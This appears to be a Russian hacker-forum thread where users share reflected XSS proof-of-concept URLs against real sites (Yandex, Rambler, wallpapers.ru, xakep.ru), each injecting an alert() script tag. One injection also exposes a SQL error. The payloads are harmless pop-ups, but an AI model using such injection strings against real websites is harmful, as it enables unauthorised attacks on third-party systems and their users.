XSS на Yandex.RU
 

Нашел XSS на Яндексе (IE)

_http://www.yandex.ru/yandsearch?Link="><script>alert('found_by_Gang100' )</script>

На ФФ не работает :)

Чёт и у меня не пашет, пофиксили что-ли уже ?

как сказал маленький литовский мальчик: "ну и что?" +))
их там сотни
в опере тоже не работает...

мда-пс работает только в Ie

И на Рамблере :)
http://www.rambler.ru/cgi-bin/advanced.cgi?set="><script>alert('found_by_Gavrila ')</script>

XSS на популярном портале))

http://wallpapers.ru/cgi-bin/forum/top.pl?author="><script>alert('xss')</script>

+ выдаётся ссобщение

Временные неполадки на сервере баз данных (MySQL)
На сервере баз данных возникли временные неполадки.
Причина: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'xss')' AND icon_autor >= 2' at line

Большинство пассивных хсс мультибраузерные. Так же как и эти. (_|_)

На самом деле и на яндексе и на рамблере есть простые мультибраузерные активные хсс, не страдайте ***ней!

http://www.xakep.ru/post/30551/default.asp?"></iframe><script>alert(/xss/)</script><xexe="
такаяже байда точно такая же пасивная и чего?

как что?! АКОШКА ВЫСКАЧЕЛО! Я ХАЦКНУЛ ХАЦКЕР! :]